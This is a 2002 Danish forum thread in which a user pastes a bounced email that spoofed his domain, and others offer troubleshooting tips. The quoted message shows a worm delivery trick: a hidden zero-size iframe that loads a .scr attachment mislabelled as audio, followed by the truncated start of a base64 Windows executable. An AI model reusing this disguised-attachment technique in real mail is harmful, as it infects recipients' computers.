Avatar billede nettips Nybegynder
22. april 2002 - 23:24 Der er 13 kommentarer

Nogen misbruger min emailadresse!

I dag fik jeg en mail - Mail Delivery System - der fortæller:
"A message that you sent could not be delivered to one or more of its recipients."

Herefter kommer en lang smøre, hvor indholdet af mailen (ren volapyk) samt en masse tekniske specifikationer fremgår.
Jeg har *ikke* afsendt denne email, der nu er blevet "returneret" til mig...

Her er altså tale om, at nogen har misbrugt mit domæne til at udsende spam, eller rettere: nogen har udsendt mails på mit domæne, hvilket er særdeles ubehageligt.

Kan nogen her hjælpe mig med at spore, hvorfra mailen er afsendt (og evt. hvem der står bag) ud fra nedenstående oplysninger, der stammer fra mailens header:

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. The following address(es) failed:

  casbn@al.tfntd:
    unrouteable mail domain "al.tfntd"

------ This is a copy of the message, including all the headers. ------
------ The body of the message is 148705 characters long; only the first
------ 102400 or so are included here.

Return-path: <info@nettips.dk>
Received: from 3e6b58ee.aalb.stofanet.dk (Forswzgk) [62.107.88.238]
    by kell.conf.dk with smtp (Exim 3.12 #1 (Debian))
    id 16zku7-00051C-00; Mon, 22 Apr 2002 22:59:19 +0200
From: info <info@nettips.dk>
To: casbn@al.tfntd
Subject: Garanti hizmeti almak i
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary=DNcS4R76B504692q005Z90qloC7Mt
Message-Id: <E16zku7-00051C-00@kell.conf.dk>
Date: Mon, 22 Apr 2002 22:59:19 +0200

--DNcS4R76B504692q005Z90qloC7Mt
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:Y4d667DiZ88IN6TMyh height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--DNcS4R76B504692q005Z90qloC7Mt
Content-Type: audio/x-midi;
    name=TURKTUR.scr
Content-Transfer-Encoding: base64
Content-ID: <Y4d667DiZ88IN6TMyh>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ.........

Og dette fortsætter derudad...
Med venlig hilsen
Allan Bojsen
www.nettips.dk
Avatar billede vesperillo Nybegynder
22. april 2002 - 23:25 #1
Hvad siger din firewalls log til sagen?
Avatar billede nettips Nybegynder
22. april 2002 - 23:28 #2
Hvilken logfil skal jeg bruge:
C:\windows\internet logs indeholder dæl'me mange filer... og ZALog er en større karl.
Avatar billede darkside Nybegynder
22. april 2002 - 23:30 #3
Du kører din egen mail server ikke?
Du skal vist ha lukket for relay igennem den..
Avatar billede dengalepose.dk Nybegynder
22. april 2002 - 23:31 #4
Jeg vil mene at emnet for emailen er på tyrkisk, men hvis der sidder en tyrkiskkyndig og lytter med må du endelig rette mig ;)

"Subject: Garanti hizmeti almak i"

DGP
Avatar billede nettips Nybegynder
22. april 2002 - 23:33 #5
Jeg kører ikke egen mailserver.
Avatar billede dengalepose.dk Nybegynder
22. april 2002 - 23:35 #6
nettips > Jeg har tænkt mig at begynde at Oddse over nettet, og så kunne det være du var den rette at spørge om anbefalelsesværdige steder at gøre dette ? :-)

DGP
Avatar billede darkside Nybegynder
22. april 2002 - 23:35 #7
Undskyld så er det mig der har set forkert.. :)
Avatar billede nettips Nybegynder
22. april 2002 - 23:39 #8
dengalepose> tjek www.sportsindex.dk - Danmarks bedste og mest seriøse odsetsite. Personligt spiller jeg via Bet24.com, men Centrebet er bestemt også værd at anvende
Avatar billede thomashove Nybegynder
22. april 2002 - 23:43 #9
det kunne måske også være interessant at køre et virus tjek på din mail server
Avatar billede praetorian Nybegynder
22. april 2002 - 23:44 #10
mailen er afsendt fra info@nettips.dk (har du dit eget domæne ??) så hvis du ikke har egen mail server så er det din hosting udbyder mail opsætning den er gal med.
Avatar billede nettips Nybegynder
22. april 2002 - 23:45 #11
info@nettips.dk er mit eget domæne, men jeg bruger en udbyder, der tilsyneladende har et problem med mailserveren...
Avatar billede dengalepose.dk Nybegynder
22. april 2002 - 23:46 #12
Kunne man ikke "decode" mailen ? Der står den "encoded" med base64 ( Content-Transfer-Encoding: base64 )

Jeg fandt bl.a. denne decoder, men jeg ved ikke om den virker :

http://www.wc.cc.va.us/dtod/base64/default.asp

Tak for tipset med sportsindex.dk - så må jeg jo bare komme igang:-)

DGP
Avatar billede krofar Nybegynder
23. april 2002 - 00:08 #13
Jeg tjekkede i et tyrkisk chatforum og det er tyrkisk og betyder: FOR AT MODTAGE GARANTIYDELSE/SERVICE.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester